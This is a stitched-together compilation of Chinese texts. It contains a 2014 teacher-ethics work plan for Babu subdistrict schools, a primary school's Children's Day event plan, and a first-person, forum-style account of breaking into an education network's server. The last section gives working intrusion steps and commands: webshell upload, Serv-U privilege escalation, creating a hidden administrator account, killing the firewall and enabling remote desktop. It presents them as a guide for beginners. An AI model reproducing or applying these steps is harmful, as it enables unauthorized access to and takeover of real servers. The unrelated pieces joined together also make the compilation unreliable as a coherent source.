1.开展师德评议活动。各学校通过校长接待日、问卷调查、学生家长会、师德师风举报电话（邮箱、信箱）、明查暗访等渠道收集汇总教师个人师德情况，年终开展一次师德师风评议活动。要求对每位教师的师德情况进行统计、分析，对每一位教师的师德表现做出客观公正评价。管理中心将汇总后的《织金县八步街道2014师德师风测评表》汇总上报县局并存入继续教育个人档案，同时将评议情况向教师进行反馈，督促教师表针对性的进行整改。

2、开展师德师风建设大讨论活动。各学校要结合教师职业道德建设方面存在的问题，深入开展“如何在各自工作岗位上发扬爱岗敬业，无私奉献精神”、“如何关爱学生”、“怎样和同事、家长和谐相处”、“如何促进教师的专业素质成长”等内容的专题讨论活动，深入解决教师思想上的疑点、难点问题，重温师德规范和“十个不”承诺，明确新时期师德师风建设的具体要求。要组织教师围绕专题讨论撰写心得体会和教育叙事文章，文章主要叙述和歌颂教书育人、为人师表、关爱学生、无私奉献、遵守师德、敢于承担责任的优良作风。进一步增强教师教书育人的事业心、责任感和使命感，激发教师热爱教育、乐于奉献的热情。

3.举行一场师德师风演讲比赛。个学校组织师生以“我的教育梦”为题材，开展“我的教育故事”主题演讲活动，形成以优良的师风、带动教风、促进学风、优化行风的良好氛围。

4.开展一次“课外访万家”专题活动。组织教师利用课余时间进村入户，到学生家中采访。（1）、做到每月一访。班主班老师、科任老师每月至少安排一次家访活动，特殊情况随访，每学年至少对本班学生进行一次随访活动。向家长介绍学生在学校情况及表现，听取家长对学生和教师工作的意见和建议，与家长共同分析学生的情况，关注学生的心理健康，及时发现存在问题和不良倾向，形成家校合力，帮助学生健康成长。（2）、落实每月一谈。班主任、科任教师每月至少安排一次与本班学生的个别谈话，了解学生的思想状况和学习生活情况，以学生为本做好学生思想工作。

（3）抓好每季一会。各学校每季度最后一个月的上旬召开一次专题会议。学校领导听取班主任教师对本季度家访情况汇报，共同分析研究学生的思想状况及思想教育中需要解决的问题和应对措施。各班随时将家访过程中好的经验和做法报学校，学校报管理中心，中心汇总上报县教育局师资股。

四、保障措施

（一）、加强领导。为保证师德师风工作认真落到实处，特成立师德师风建设领导小组：

组长：熊恩绵（八步街道教育管理中心主任）

副组长：龙定富（八步街道教育管理中心副主任）

高辉（八步街道教育管理中心副主任）

李德品（八步教育支部支部书记）

王主军（八步街道八步小学校长）

成员：陈绍东陈鑫肖靖宇李学勇 各校校长。领导小组负责师德师风教育活动的组织、协调、检查、评估作，为师德教育活动、师德奖惩激励机制提供必要的决策和经费保障。领导小组下设办公室在管理中心，龙定富兼任办公室主任，肖靖宇、唐悟两同志负责日常事务，负责具体办公。

（二）、明确责任。各学校要成立相应领导小组，明确分管领导具体抓，落实专人负责管理。各学校负责人要积极参加师德师风建设活动，不断加强自身的师德修养，率先垂范，在师德师风建设工作中起到带头作用，以增强师德师风建设工作的实效性。

五、纪律要求

（一）、严格师德考核。各学校要将师德考核作为教师考核的核心内容，摆在首要位置，制定和完善师德考核实施细则。师德考核应充分尊重充分尊重教师主体地位，符合教师职业性质，促进教师专业发展；坚持公平、公正、公开原则;采取教师个人自评、家长和学生参与测评、考核工作小组综合评定等多种方式进行。考核结果分为优秀、合格、基本合格、不合格四个等次。考核结果公示后存入继续教育个人档案并报教育局师资股备案。师德考核不合格者考核应评定为不合格。把师德考核作为教师绩效考核、职称评定、岗位聘用、教师资格定期注册、评先选优的首要内容，对师德师风不良者严格实行“一票否决”。

（二）、强化师德监督。各学校要建立健全师德评议制度，师德问责制度，师德状况定期调查分析制度和师德舆情快速反应制度，构建学生、教师、家长和社会广泛参与的师德监督体系。各学校要设立校长接待日、师德师风举报电话（邮箱、信箱），及时获取掌握师德信息动态，及时发现并纠正不良倾向和问题，将违反师德行为消除在萌芽状态。要将师德建设纳入教育督导评估体系。

（三）、规范师德惩处。各学校要建立健全违反师德行为的惩处制度。依据有关法律法规、《中小学教师职业规范》和教育部研究制定《中小学教师违反职业道德行为处理办法》，明确教师不可触犯的师德行禁性行为，并提出相应处理办法。对危害严重、影响恶劣者，要坚决清除出教师队伍。建立问责制度。对教师严重违反师德行为监管不力、据不处分、拖延处分、或推诿隐瞒，造成不良影响或严重后果的，要追究学校主要负责人的责任。对涉及违法犯罪的要及时移交司法部门。

（四）、落实师德承诺。各学校要以校长、教师“十个不”的承诺作为基础，开展校长、教师师德师风承诺活动，设立师德师风承诺专栏，公开刊登 《中小学教师违反职业道德的处理办法》和校长、教师面向社会的师德师风承诺内容，接受社会和广大家长、学生的监督，形成良好的师德师风建设宣传和监督氛围。

（五）、健全督导机制。各学校要加强对本校教育活动的考核检查，并做好教育活动资料的收集整理工作，确保教育活动取得实实在在的效果。学校领导班子将定期或不定期到班级进行师德师风建设工作的督导检

查，采取督导评估、专项检查、随机督查、明察暗访等多种形式，形成对教师履行情况及师德师风监测的常态化机制，并将督查结果面向社会公示。对师德师风存在严重问题的个人，年终考核一律不合格。

六、其它

（一）、信访办理。对涉及学校及教师师德师风的信访，要及时查处、及时回复，做到事事有着落、件件有回应。对恶意上访、诽谤、污蔑校长、教师个人的，在查实后给予批评教育，甚至述诸法律，坚决予以惩处，切实维护校长、教师合法权益。

（二）、部署落实。各学校要结合实际，明确目标任务、工作内容、分管责任人，制定师德师风教育活动实施方案。各学校务必在4月27日前将师德师风实施方案上报管理中心。同时，12月10日前将开展活动的图片、简报、总结等上报管理中心。

8.科学研究八步走,步步进阶 篇八

一、活动意义：

在“六一”国际儿童节来临之际，为了让全体学生过一个快乐、祥和的“六一”国际儿童节，经学校研究决定，举行“六一”文艺汇演活动，各班要围绕活动方案精心组织，庆祝活动总体要求是简单而隆重，激励广大少年儿童积极进取、奋发向上，培养少年儿童用于创新、敢于创新的精神。

二、活动安排：

1、总体规划。（负责人——蔡红）

2、文艺演出节目。（每班至少3个节目，班主任在5月24日前上报节目，蔡红负责统计）

3、校园舞台布置－横幅、评委席、演播设备。（刘方才、朱华、杜仕友）

4、宣传发动、组织。（各班主任）

5、后勤服务、安全管理。（刘方才、杜仕友）

6、奖品和纪念品发放。（陈国亚、刘方才、高芳）

7、奖状打印。（刘方才、杨潜凌）

8、摄影、拍照。（陈国亚）

9、音响设备。（刘方才、高芳）

10、化妆。（各班班主任）

三、时间安排：

1、5月第一周准备酝酿、宣传发动。

2、5月17日各班级对照活动方案认真组织活动。

3、5月23日至27日完成节目彩排。

4、6月1日学校举行大型庆祝活动。（8：30开始）

四、活动程序：

1、主持人蔡红讲话，请出两位小主持人。

2、升国旗，奏国歌。

3、校长致辞。

4、播放、齐唱《国际儿童节节歌》，并由锣鼓队五年级伴奏。

5、节目表演类型。

（1）舞蹈。

（2）歌曲。

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（4）普通话演讲、诗歌朗诵比赛。

（5）拔河比赛。

（6）（文明礼仪、安全）知识抢答赛。

（7）相声小品各班自行组织参赛（学校不硬性要求）。

6、给留守儿童学生发节日礼物。

7、少先队辅导员蔡红作总结。

五、活动地点安排：操场。

六、节目评选、奖励及评委：

评选方法：从出场、退场、服装、动作、创意等方面对学生表演的节目进行十分制打分，评选一等奖1名、二等奖1名、三等奖1名、组织奖3名，并由学校颁发奖状及奖品（一等奖100元奖品、二等奖80元奖品、三等奖60元奖品、组织奖40元奖品）

评委组长：高芳分值统计：刘方才

成员：彭明基、李英、刘方才、彭交、高芳、朱华

七、注意事项：

1、讲安全：服从负责老师的安排，按要求活动。

2、讲文明：自觉排队，不乱挤，礼貌谦让。

3、讲卫生：搞好个人卫生，不乱丢果壳、纸屑、包装袋等废弃物，并能主动收拾身边垃圾。活动结束后，打扫干净室内外卫生。学校将组织检查评比。

4、讲纪律：遵守各项规定，有事向班主任请假。

5、班主任加强学生安全管理，确保无安全事故发生。

6、如果天气原因导致活动不能正常开展，活动将延期至合适天气的正常工作日举行。

八步街道山脚小学

2014年5月6日

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八步街道山脚小学

六

一

儿

童

节

策

划

书

9.菜鸟八步入侵某教育网全过程 篇九

我从学习到现在有一个月时间了,在华夏我学到不少知识. 下面我把头几天入侵某教育网全过程写下来,希望对刚入门的朋友有所帮助! 咱们共同学习!

1. 发现某站存在upfile.asp文件, 上传桂林老兵asp助手木马. (在这里我多说几句,asp木马很多,我个人感觉海洋顶端最垃圾, 老兵的还可以,最好的是kker的cs木马! 个人观点!)

2.登陆木马运行DOS命令,可提示说没有权限无法运行.

3.上传cmd.exe和net.exe文件到F盘(在这个盘我有执行权限,其它盘都没有)

4.ok了,可以运行dos了,但发现只能用net user查看用户, 不能用net user xxx xxx /add 添加用户.

看来走DOS这条路行不通了!试试SQL注入, TMD试了半天,一个注入点没找到! 换方法.接着往下看.

5. 发现F盘存在serv-u , 哈哈~~~~ 大喜! 上传ftp.exe 本地提升权限.运行F:Serv-Uftp.exe “net user fdd fdd /add” 和F:Serv-Uftp.exe “net localgroup administrators fdd /add” 命令.成功把fdd变成了管理员.

6.运行F:Serv-Uftp.exe “net start telnet” 命令.成功开启telnet.

到第6步我以为彻底搞定了.可惜一连上telnet就提示与主机失去联系. 我已经做NTML验证了.为什么登陆不上呢? 原来是有防火墙! TNND (防火墙可以用pskill.exe杀掉,也可以自己写脚本然后用ntsd命令杀.这里我就不说了)

7.这台机器不是有serv-u吗? 我建个超管帐号,登陆他的FTP上去试试.于是修改serv-u目录下的ServUDaemon.ini文件.加了个超管帐号,可是无法登陆.TMD,为什么啊? 原来是需要从起servu才能生效.

8.net stop 对! 用net stop ! 用 net stop serv-u命令把ftp停了! 然后再启动serv-u.

9. 哈哈成功登陆对方FTP, 上传fd文件到上面.fd文件里面的内容是[Components] TsEnable = on.这个大家都知道. 运行Quote site exec sysocmgr.exe /i:c:winntinfsysoc.inf /u:c:fd /q

哈哈~~~~~~~~ 3389打开了,成功登陆! 网速不错,下载速度1M/秒!